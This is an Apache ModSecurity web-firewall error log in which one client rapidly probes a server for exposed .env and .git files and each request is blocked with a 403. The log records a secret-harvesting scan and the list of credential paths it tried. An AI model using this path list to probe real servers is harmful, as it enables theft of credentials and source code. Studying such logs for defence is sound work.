[Mon Oct 26 23:41:27.734944 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.test"] [unique_id "auAdZ-t_JlfYNa0VLOKIqwAAAAw"]
[Mon Oct 26 23:41:27.735610 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ-t_JlfYNa0VLOKIqwAAAAw"]
[Mon Oct 26 23:41:27.747579 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.testing"] [unique_id "auAdZwjA6epjCUwuTm4nyQAAABY"]
[Mon Oct 26 23:41:27.747710 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.testing"] [unique_id "auAdZwjA6epjCUwuTm4nyQAAABY"]
[Mon Oct 26 23:41:27.748474 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZwjA6epjCUwuTm4nyQAAABY"]
[Mon Oct 26 23:41:27.750300 2026] [security2:error] [pid 3146331:tid 3146331] [client 35.241.132.20:44234] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env~"] [unique_id "auAdZx7MuKI4tGMtwYeNJAAAAAo"]
[Mon Oct 26 23:41:27.750468 2026] [security2:error] [pid 3146331:tid 3146331] [client 35.241.132.20:44234] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env~"] [unique_id "auAdZx7MuKI4tGMtwYeNJAAAAAo"]
[Mon Oct 26 23:41:27.751167 2026] [security2:error] [pid 3146331:tid 3146331] [client 35.241.132.20:44234] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZx7MuKI4tGMtwYeNJAAAAAo"]
[Mon Oct 26 23:41:27.792985 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.git/index"] [unique_id "auAdZ-n4bIWiIXBuaEF-5AAAAAI"]
[Mon Oct 26 23:41:27.792985 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.git/config"] [unique_id "auAdZxnOVh4RLrkQvo0jtgAAACA"]
[Mon Oct 26 23:41:27.793156 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.git/index"] [unique_id "auAdZ-n4bIWiIXBuaEF-5AAAAAI"]
[Mon Oct 26 23:41:27.793172 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.git/config"] [unique_id "auAdZxnOVh4RLrkQvo0jtgAAACA"]
[Mon Oct 26 23:41:27.793882 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ-n4bIWiIXBuaEF-5AAAAAI"]
[Mon Oct 26 23:41:27.793947 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZxnOVh4RLrkQvo0jtgAAACA"]
[Mon Oct 26 23:41:27.808543 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.git/logs/HEAD"] [unique_id "auAdZ024KMCNE5F3hPn8oQAAAAA"]
[Mon Oct 26 23:41:27.808687 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.git/logs/HEAD"] [unique_id "auAdZ024KMCNE5F3hPn8oQAAAAA"]
[Mon Oct 26 23:41:27.809244 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auAdZ5GCCt7t6mKgKshQIwAAACI"]
[Mon Oct 26 23:41:27.809385 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auAdZ5GCCt7t6mKgKshQIwAAACI"]
[Mon Oct 26 23:41:27.809634 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ024KMCNE5F3hPn8oQAAAAA"]
[Mon Oct 26 23:41:27.810170 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ5GCCt7t6mKgKshQIwAAACI"]
[Mon Oct 26 23:41:27.886750 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/admin/.env"] [unique_id "auAdZ-t_JlfYNa0VLOKIrQAAAAw"]
[Mon Oct 26 23:41:27.886910 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/admin/.env"] [unique_id "auAdZ-t_JlfYNa0VLOKIrQAAAAw"]
[Mon Oct 26 23:41:27.887570 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ-t_JlfYNa0VLOKIrQAAAAw"]
[Mon Oct 26 23:41:27.901455 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/api/.env"] [unique_id "auAdZwjA6epjCUwuTm4nywAAABY"]
[Mon Oct 26 23:41:27.901611 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/api/.env"] [unique_id "auAdZwjA6epjCUwuTm4nywAAABY"]
[Mon Oct 26 23:41:27.902279 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZwjA6epjCUwuTm4nywAAABY"]
[Mon Oct 26 23:41:27.959755 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/app/.env"] [unique_id "auAdZ-n4bIWiIXBuaEF-5gAAAAI"]
[Mon Oct 26 23:41:27.959968 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/app/.env"] [unique_id "auAdZ-n4bIWiIXBuaEF-5gAAAAI"]
[Mon Oct 26 23:41:27.960706 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ-n4bIWiIXBuaEF-5gAAAAI"]
[Mon Oct 26 23:41:27.963038 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/application/.env"] [unique_id "auAdZ-t_JlfYNa0VLOKIrgAAAAw"]
[Mon Oct 26 23:41:27.963173 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/application/.env"] [unique_id "auAdZ-t_JlfYNa0VLOKIrgAAAAw"]
[Mon Oct 26 23:41:27.963969 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ-t_JlfYNa0VLOKIrgAAAAw"]
[Mon Oct 26 23:41:28.020384 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/back/.env"] [unique_id "auAdaBnOVh4RLrkQvo0juQAAACA"]
[Mon Oct 26 23:41:28.020612 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/back/.env"] [unique_id "auAdaBnOVh4RLrkQvo0juQAAACA"]
[Mon Oct 26 23:41:28.021469 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaBnOVh4RLrkQvo0juQAAACA"]
[Mon Oct 26 23:41:28.036135 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/backend/.env"] [unique_id "auAdaOn4bIWiIXBuaEF-5wAAAAI"]
[Mon Oct 26 23:41:28.036312 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/backend/.env"] [unique_id "auAdaOn4bIWiIXBuaEF-5wAAAAI"]
[Mon Oct 26 23:41:28.037105 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaOn4bIWiIXBuaEF-5wAAAAI"]
[Mon Oct 26 23:41:28.038871 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/backup/.env"] [unique_id "auAdaOt_JlfYNa0VLOKIrwAAAAw"]
[Mon Oct 26 23:41:28.039009 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/backup/.env"] [unique_id "auAdaOt_JlfYNa0VLOKIrwAAAAw"]
